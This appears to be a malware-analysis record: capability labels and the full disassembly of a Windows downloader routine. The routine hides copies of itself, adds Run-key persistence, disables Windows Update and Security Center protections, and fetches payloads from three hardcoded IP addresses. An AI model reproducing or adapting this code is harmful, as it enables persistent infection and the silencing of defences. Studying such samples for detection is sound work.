Function at 0x401850
Capabilities:
Bypass mark of the web
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Delete file
Disable system features via registry on windows
Persist via run registry key
Persist via windows service
Query environment variable
Set file attributes
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x12ec
call fcn.00402470
push esi
push edi
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [str.u7e62tw6sa]
mov dword [ebp - 0x448], eax
mov ecx, dword [0x4035d4]
mov dword [ebp - 0x444], ecx
mov dx, word [0x4035d8]
mov word [ebp - 0x440], dx
mov al, byte [0x4035da]
mov byte [ebp - 0x43e], al
mov ecx, 7
mov esi, str.winblpsrcs.exe
lea edi, [ebp - 0xcd8]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov ecx, 8
mov esi, str.Windows_Service
lea edi, [ebp - 0x43c]
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x898], str.http:__185.215.113.66_
mov dword [ebp - 0x894], str.http:__77.91.77.92_
mov dword [ebp - 0x890], str.http:__91.202.233.141_
mov dword [ebp - 0xab0], 0x403660
mov dword [ebp - 0xaac], 0x403664
mov dword [ebp - 0xaa8], 0x403668
lea ecx, [ebp - 0x448]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0x12e4], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x401928
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x88c], 0
mov dword [ebp - 0x67c], 0
mov dword [ebp - 0xaa4], 1
mov dword [ebp - 0x41c], 4
mov dword [ebp - 0x470], 0
xor edx, edx
mov dword [ebp - 0x46c], edx
mov dword [ebp - 0x468], edx
mov dword [ebp - 0x464], edx
mov dword [ebp - 0x460], edx
mov dword [ebp - 0x45c], edx
mov dword [ebp - 0x458], edx
mov dword [ebp - 0x454], edx
mov dword [ebp - 0x450], edx
mov dword [ebp - 0x44c], edx
push 0x104
lea eax, [ebp - 0x418]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [ebp - 0x418]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov dword [ebp - 0x20c], eax
lea edx, [ebp - 0x418]
push edx
push str._s:Zone.Identifier
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea edx, [ebp - 0xcd8]
push edx
mov eax, dword [ebp - 0x20c]
push eax
call sub.MSVCR90.dll_wcscmp
add esp, 8
test eax, eax
je 0x401cef
call fcn.00401740
movzx ecx, al
cmp ecx, 1
jne 0x401a15
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x104
lea edx, [ebp - 0xcb8]
push edx
push str._windir_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 0xcd8]
push eax
lea ecx, [ebp - 0xcb8]
push ecx
push 0x4036a8
lea edx, [ebp - 0xaa0]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
lea eax, [ebp - 0xaa0]
push eax
lea ecx, [ebp - 0x418]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x401b01
push 3
lea edx, [ebp - 0xaa0]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x88c]
push eax
push 0x20006
push 0
push 0x4036d0
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x401b01
lea ecx, [ebp - 0xaa0]
push ecx
call sub.MSVCR90.dll_wcslen
add esp, 4
lea edx, [eax + eax + 2]
push edx
lea eax, [ebp - 0xaa0]
push eax
push 1
push 0
lea ecx, [ebp - 0x43c]
push ecx
mov edx, dword [ebp - 0x88c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x401b01
mov eax, dword [ebp - 0x88c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0xaa0]
push ecx
call fcn.00401690
add esp, 4
movzx edx, al
cmp edx, 1
jne 0x401b01
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x104
lea eax, [ebp - 0x12e0]
push eax
push str._userprofile_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea ecx, [ebp - 0xcd8]
push ecx
lea edx, [ebp - 0x12e0]
push edx
push 0x403730
lea eax, [ebp - 0x678]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
lea ecx, [ebp - 0x678]
push ecx
lea edx, [ebp - 0x418]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x401bf8
push 3
lea eax, [ebp - 0x678]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea ecx, [ebp - 0x88c]
push ecx
push 0x20006
push 0
push 0x403748
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x401bf8
lea edx, [ebp - 0x678]
push edx
call sub.MSVCR90.dll_wcslen
add esp, 4
lea eax, [eax + eax + 2]
push eax
lea ecx, [ebp - 0x678]
push ecx
push 1
push 0
lea edx, [ebp - 0x43c]
push edx
mov eax, dword [ebp - 0x88c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x401bf8
mov ecx, dword [ebp - 0x88c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0x678]
push edx
call fcn.00401690
add esp, 4
movzx eax, al
cmp eax, 1
jne 0x401bf8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x104
lea ecx, [ebp - 0xee0]
push ecx
push str._temp_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea edx, [ebp - 0xcd8]
push edx
lea eax, [ebp - 0xee0]
push eax
push 0x40373c
lea ecx, [ebp - 0x888]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
lea edx, [ebp - 0x888]
push edx
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x401cef
push 3
lea ecx, [ebp - 0x888]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea edx, [ebp - 0x88c]
push edx
push 0x20006
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun_
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x401cef
lea eax, [ebp - 0x888]
push eax
call sub.MSVCR90.dll_wcslen
add esp, 4
lea ecx, [eax + eax + 2]
push ecx
lea edx, [ebp - 0x888]
push edx
push 1
push 0
lea eax, [ebp - 0x43c]
push eax
mov ecx, dword [ebp - 0x88c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x401cef
mov edx, dword [ebp - 0x88c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x888]
push eax
call fcn.00401690
add esp, 4
movzx ecx, al
cmp ecx, 1
jne 0x401cef
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [ebp - 0x88c]
push edx
push 0x20006
push 0
push str.SYSTEMCurrentControlSetServicesUsoSvc
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x401d48
push 4
lea eax, [ebp - 0x41c]
push eax
push 4
push 0
push 0x40386c
mov ecx, dword [ebp - 0x88c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x88c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x88c]
push eax
push 0x20006
push 0
push str.SYSTEMCurrentControlSetServicesWaaSMedicSvc
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x401d96
push 4
lea ecx, [ebp - 0x41c]
push ecx
push 4
push 0
push 0x4038d8
mov edx, dword [ebp - 0x88c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x88c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x88c]
push ecx
push 0x20006
push 0
push str.SYSTEMCurrentControlSetServicesDoSvc
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x401de4
push 4
lea edx, [ebp - 0x41c]
push edx
push 4
push 0
push 0x403930
mov eax, dword [ebp - 0x88c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 0x88c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0x88c]
push edx
push 0x20006
push 0
push str.SYSTEMCurrentControlSetServiceswuauserv
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x401e32
push 4
lea eax, [ebp - 0x41c]
push eax
push 4
push 0
push 0x403990
mov ecx, dword [ebp - 0x88c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x88c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x88c]
push eax
push 0x20006
push 0
push 0x403998
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x401e85
push 4
lea ecx, [ebp - 0xaa4]
push ecx
push 4
push 0
push 0x4039fc
mov edx, dword [ebp - 0x88c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x88c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x401f2a
lea ecx, [ebp - 0x88c]
push ecx
push 0x20006
push 0
push 0x403a18
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x401edc
push 0
lea edx, [ebp - 0x88c]
push edx
push 0
push 0xf003f
push 0
push 0
push 0
push 0x403a60
mov eax, dword [ebp - 0x88c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov ecx, dword [ebp - 0x88c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0x88c]
push edx
push 0x20006
push 0
push 0x403a80
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x401f2a
push 4
lea eax, [ebp - 0xaa4]
push eax
push 4
push 0
push str.DisableWindowsUpdateAccess
mov ecx, dword [ebp - 0x88c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x88c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x88c]
push eax
push 0x20006
push 0
push 0x403b00
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x401f7d
push 4
lea ecx, [ebp - 0xaa4]
push ecx
push 4
push 0
push 0x403b6c
mov edx, dword [ebp - 0x88c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x88c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x402079
lea ecx, [ebp - 0x88c]
push ecx
push 0x20006
push 0
push str.SOFTWAREPoliciesMicrosoftWindows
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x401fd4
push 0
lea edx, [ebp - 0x88c]
push edx
push 0
push 0xf003f
push 0
push 0
push 0
push str.WindowsUpdate
mov eax, dword [ebp - 0x88c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov ecx, dword [ebp - 0x88c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0x88c]
push edx
push 0x20006
push 0
push str.SOFTWAREPoliciesMicrosoftWindowsWindowsUpdate
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40202b
push 0
lea eax, [ebp - 0x88c]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push 0x403c4c
mov ecx, dword [ebp - 0x88c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov edx, dword [ebp - 0x88c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x88c]
push eax
push 0x20006
push 0
push str.SOFTWAREPoliciesMicrosoftWindowsWindowsUpdateAU
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x402079
push 4
lea ecx, [ebp - 0xaa4]
push ecx
push 4
push 0
push str.NoAutoUpdate
mov edx, dword [ebp - 0x88c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x88c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x88c]
push ecx
push 0x20006
push 0
push str.SYSTEMCurrentControlSetServicesBITS
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4020c7
push 4
lea edx, [ebp - 0x41c]
push edx
push 4
push 0
push str.Start
mov eax, dword [ebp - 0x88c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 0x88c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0x88c]
push edx
push 0x20006
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvancedFolderHiddenSHOWALL
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x402115
push 4
lea eax, [ebp - 0x67c]
push eax
push 4
push 0
push str.CheckedValue
mov ecx, dword [ebp - 0x88c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x88c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x88c]
push eax
push 0x20006
push 0
push str.SOFTWAREMicrosoftSecurity_Center
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x402221
push 4
lea ecx, [ebp - 0xaa4]
push ecx
push 4
push 0
push 0x403e08
mov edx, dword [ebp - 0x88c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0xaa4]
push eax
push 4
push 0
push 0x403e1c
mov ecx, dword [ebp - 0x88c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0xaa4]
push edx
push 4
push 0
push 0x403e34
mov eax, dword [ebp - 0x88c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0xaa4]
push ecx
push 4
push 0
push 0x403e48
mov edx, dword [ebp - 0x88c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0xaa4]
push eax
push 4
push 0
push 0x403e5c
mov ecx, dword [ebp - 0x88c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0xaa4]
push edx
push 4
push 0
push 0x403e74
mov eax, dword [ebp - 0x88c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0xaa4]
push ecx
push 4
push 0
push 0x403e84
mov edx, dword [ebp - 0x88c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x88c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x88c]
push ecx
push 0x20006
push 0
push str.SOFTWAREMicrosoftSecurity_CenterSvc
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40232d
push 4
lea edx, [ebp - 0xaa4]
push edx
push 4
push 0
push str.FirewallOverride
mov eax, dword [ebp - 0x88c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0xaa4]
push ecx
push 4
push 0
push str.FirewallDisableNotify
mov edx, dword [ebp - 0x88c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0xaa4]
push eax
push 4
push 0
push str.AntiSpywareOverride
mov ecx, dword [ebp - 0x88c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0xaa4]
push edx
push 4
push 0
push str.AntiVirusOverride
mov eax, dword [ebp - 0x88c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0xaa4]
push ecx
push 4
push 0
push str.AntiVirusDisableNotify
mov edx, dword [ebp - 0x88c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0xaa4]
push eax
push 4
push 0
push str.UpdatesOverride
mov ecx, dword [ebp - 0x88c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0xaa4]
push edx
push 4
push 0
push str.UpdatesDisableNotify
mov eax, dword [ebp - 0x88c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 0x88c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00401000
mov dword [ebp - 0x12e8], 0
jmp 0x402358
mov edx, dword [ebp - 0x12e8]
add edx, 1
mov dword [ebp - 0x12e8], edx
cmp dword [ebp - 0x12e8], 3
jae 0x40241f
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x12ec], 0
jmp 0x40238b
mov eax, dword [ebp - 0x12ec]
add eax, 1
mov dword [ebp - 0x12ec], eax
cmp dword [ebp - 0x12ec], 3
jae 0x40241a
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x12ec]
mov edx, dword [ebp + ecx*4 - 0xab0]
push edx
mov eax, dword [ebp - 0x12e8]
mov ecx, dword [ebp + eax*4 - 0x898]
push ecx
push str._s_s
lea edx, [ebp - 0x10d8]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x10d8]
push eax
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
mov ecx, dword [ebp - 0x12ec]
lea edx, [ebp + ecx*4 - 0x470]
push edx
lea eax, [ebp - 0x10d8]
push eax
call fcn.00401790
add esp, 8
movzx ecx, al
cmp ecx, 1
jne 0x402415
lea edx, [ebp - 0x10d8]
push edx
call fcn.00401320
add esp, 4
jmp 0x40237c
jmp 0x402349
push 0xdbba0
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40233d